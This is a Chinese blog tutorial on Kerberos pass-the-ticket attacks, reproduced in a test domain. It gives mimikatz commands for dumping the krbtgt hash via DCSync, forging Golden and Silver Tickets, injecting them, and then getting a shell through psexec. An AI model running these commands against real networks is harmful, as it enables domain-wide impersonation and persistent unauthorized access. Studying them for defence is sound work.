kerberos协议中的票据传递攻击
PtT
Pass the Ticket,基于Kerberos协议进行攻击,通常是用来做权限维持
Golden Ticket
漏洞原理
client端在和KDC进行认证的过程中,TGT是由域内krbtgt用户hash计算生成,所以当我们得到了域内krbtgt用户的NTLM 哈希或AES-256的值,可以将权限伪装成任意域内用户(包括域管用户)。
复现过程
漏洞前提:1
2
3
41.要伪装的域内用户名
2.krbtgt用户hash
3.krbtgt用户sid
4.域名
利用mimikatz可以进行伪造
首先我们要知道krbtgt的相关信息,在域控制器中执行命令:1
2privilege::debug
lsadump::dcsync /user:krbtgt
获取到sid(sid去除id后面的502)和ntlm hash如下:1
2sid:S-1-5-21-306775267-2343279330-10040798
hash:8fe2af5ffd00a2b58a9a42c8c95ee373
接下来在域内一台机器上生成Golden Ticket:1
2
3
4
5privilege::debug
kerberos::golden /user:hacke\administrator /domain:hacke.testlab/sid:S-1-5-21-306775267-2343279330-10040798 /krbtgt:8fe2af5ffd00a2b58a9a42c8c95ee373 /ptt
kerberos::ptt C:\Users\oreo\Desktop\ticket.kirbi #导入票据
成功导入,可以利用cmd下的klist命令查看导入的票据。
这里导入票据之后,我们可以看下是否能够伪造身份:
dir 域控的目录,能够成功访问,说明票据成功
Silver Ticket
漏洞原理
伪造ST服务票据,不需要和KDC进行交互,动静较小
复现过程
漏洞前提:1
2
31.伪造的用户名
2.服务用户hash(dc$账号的hash)
3.用户sid
首先我们用mimikatz来读取计算机的hash
获取sid
在域内任意一台机器上制作Silver Ticket1
kerberos::golden /domain:hacke.testlab /sid:S-1-5-21-306775267-2343279330-10040798 /target:dc.hacke.testlab /service:cifs /rc4:{ntlm hash} /user:administrator /ptt
再次访问dc的c$
Ending
当我们使用票据成功后,后续可使用psexec.exe与目标机器进行交互cmd shell
https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe
不过这两个都是属于后门维持的攻击,还是MS14-068好用啊
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com
文章标题:kerberos协议中的票据传递攻击
本文作者:sher10ck
发布时间:2020-09-20, 00:08:10
最后更新:2021-02-19, 11:30:40
原始链接:http://sherlocz.github.io/2020/09/20/kerberos-PtT/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。